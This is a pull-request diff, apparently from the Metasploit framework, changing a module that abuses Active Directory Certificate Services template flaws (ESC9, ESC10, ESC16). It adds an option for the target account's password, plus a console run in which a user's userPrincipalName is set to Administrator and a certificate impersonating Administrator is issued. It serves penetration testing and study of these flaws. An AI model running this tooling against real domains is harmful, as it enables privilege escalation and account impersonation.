Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -36,6 +36,9 @@ The certificate template to issue, e.g., "User".
### TARGET_USERNAME
The username of the target account whose LDAP object will be updated and for whom the certificate will be requested.

### TARGET_PASSWORD
The password of the target username. Not required. The module will use Shadow Credentials to authenticate as the target user if this is left blank.

### UPDATE_LDAP_OBJECT
The LDAP attribute to update, such as `userPrincipalName` or `dNSHostName`.

Expand Down Expand Up @@ -135,6 +138,72 @@ msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Auxiliary module execution completed
```

### ESC9 - Update userPrincipalName when you already have `TARGET_PASSWORD`. See shadow credentials don't get created / used
```
msf auxiliary(admin/dcerpc/esc_update_ldap_object) > options

Module options (auxiliary/admin/dcerpc/esc_update_ldap_object):

Name Current Setting Required Description
---- --------------- -------- -----------
ADD_CERT_APP_POLICY no Add certificate application policy OIDs
ALT_DNS no Alternative certificate DNS
ALT_SID no Alternative object SID
ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN)
CA kerberos-DC2-CA yes The target certificate authority
CERT_TEMPLATE User yes The certificate template
LDAPDomain kerberos.issue yes The domain to authenticate to
LDAPPassword N0tpassword! yes The password to authenticate with
LDAPUsername user1 yes The username to authenticate with, who must have permissions to update the TARGET_USERNAME
SSL false no Enable SSL on the LDAP connection
TARGET_PASSWORD N0tpassword! no The password of the target LDAP object (the victim account). If left blank, Shadow Credentials will be used to authenticaet as the TARGET_USERNAME
TARGET_USERNAME user2 yes The username of the target LDAP object (the victim account).
UPDATE_LDAP_OBJECT userPrincipalName yes Either userPrincipalName or dNSHostName, Updates the necessary object of a specific user before requesting the cert. (Accepted: userPrincipalName, dNSHostName)
UPDATE_LDAP_OBJECT_VALUE Administrator yes The account name you wish to impersonate


Used when making a new connection via RHOSTS:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 172.16.199.200 no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 no The target port (TCP)


Auxiliary action:

Name Description
---- -----------
REQUEST_CERT Request a certificate



View the full module info with the info, or info -d command.

msf auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName:
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
[+] The operation completed successfully!
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - Certificate UPN: Administrator
[*] 172.16.199.200:445 - Certificate stored at: /home/msfuser/.msf4/loot/20250923135918_default_172.16.199.200_windows.ad.cs_341723.pfx
[*] 172.16.199.200:445 - Reverting ldap object
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Attempting to delete attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue...
[+] Successfully deleted attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue
[+] The operation completed successfully!
[*] Auxiliary module execution completed
msf auxiliary(admin/dcerpc/esc_update_ldap_object) >
```

### ESC9 - Update dnsHostName to `dc2.kerberos.issue`
```
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
Expand Down
35 changes: 24 additions & 11 deletions modules/auxiliary/admin/dcerpc/esc_update_ldap_object.rb
Original file line number Diff line number Diff line change
Expand Up @@ -22,9 +22,10 @@ def initialize(info = {})
This module exploits Active Directory Certificate Services (AD CS) template misconfigurations, specifically
ESC9, ESC10, and ESC16, by updating an LDAP object and requesting a certificate on behalf of a target user.
The module leverages the auxiliary/admin/ldap/ldap_object_attribute module to update the LDAP object and the
admin/ldap/shadow_credentials module to add shadow credentials for the target user. It then uses the
admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user and requests a certificate via
MS-ICPR. The resulting certificate can be used for various operations, such as authentication.
admin/ldap/shadow_credentials module to add shadow credentials for the target user if the target password is
not provided. It then uses the admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user
and requests a certificate via MS-ICPR. The resulting certificate can be used for various operations, such as
authentication.

The module ensures that any changes made by the ldap_object_attribute or shadow_credentials module are
reverted after execution to maintain system integrity.
Expand Down Expand Up @@ -64,7 +65,8 @@ def initialize(info = {})
OptString.new('LDAPPassword', [true, 'The password to authenticate with']),
OptEnum.new('UPDATE_LDAP_OBJECT', [ true, 'Either userPrincipalName or dNSHostName, Updates the necessary object of a specific user before requesting the cert.', 'userPrincipalName', %w[userPrincipalName dNSHostName] ]),
OptString.new('UPDATE_LDAP_OBJECT_VALUE', [ true, 'The account name you wish to impersonate', 'Administrator']),
OptString.new('TARGET_USERNAME', [true, 'The username of the target LDAP object (the victim account).'], aliases: ['SMBUser'])
OptString.new('TARGET_USERNAME', [true, 'The username of the target LDAP object (the victim account).'], aliases: ['SMBUser']),
OptString.new('TARGET_PASSWORD', [false, 'The password of the target LDAP object (the victim account). If left blank, Shadow Credentials will be used to authenticate as the TARGET_USERNAME'], aliases: ['SMBPass'])
])

register_advanced_options(
Expand Down Expand Up @@ -200,18 +202,29 @@ def action_request_cert
@original_value = call_ldap_object_module('UPDATE', new_value)
fail_with(Failure::BadConfig, "The #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} is already set to #{datastore['UPDATE_LDAP_OBJECT_VALUE']}. After the module completes running it will revert the attribute to it's original value which will cause the certificate produced to throw a KDC_ERR_CLIENT_NAME_MISMATCH when attempting to use it. Try setting the #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} to anything but #{datastore['UPDATE_LDAP_OBJECT_VALUE']} using the ldap_object_attribute module and then rerun this module.") if @original_value.present? && @original_value.casecmp?(datastore['UPDATE_LDAP_OBJECT_VALUE'])

# Call the shadow credentials module to add the device and get the cert path
print_status("Adding shadow credentials for #{datastore['TARGET_USERNAME']}")
@device_id, cert_path = call_shadow_credentials_module('add')
hash = automate_get_hash(cert_path, datastore['TARGET_USERNAME'], datastore['LDAPDomain'], datastore['RHOSTS'])
smbpass = ''

if datastore['TARGET_PASSWORD'].present?
smbpass = datastore['TARGET_PASSWORD']
elsif datastore['LDAPUsername'] == datastore['TARGET_USERNAME']
smbpass = datastore['LDAPPassword']
else
# Call the shadow credentials module to add the device and get the cert path
print_status("Adding shadow credentials for #{datastore['TARGET_USERNAME']}")
@device_id, cert_path = call_shadow_credentials_module('add')
smbpass = automate_get_hash(cert_path, datastore['TARGET_USERNAME'], datastore['LDAPDomain'], datastore['RHOSTS'])
end

with_ipc_tree do |opts|
datastore['SMBUser'] = datastore['TARGET_USERNAME']
datastore['SMBPass'] = hash
datastore['SMBPass'] = smbpass
request_certificate(opts)
end
ensure
print_status('Removing shadow credential')
call_shadow_credentials_module('remove', device_id: @device_id)
unless @device_id.nil?
print_status('Removing shadow credential')
call_shadow_credentials_module('remove', device_id: @device_id)
end
print_status('Reverting ldap object')
revert_ldap_object
end
Expand Down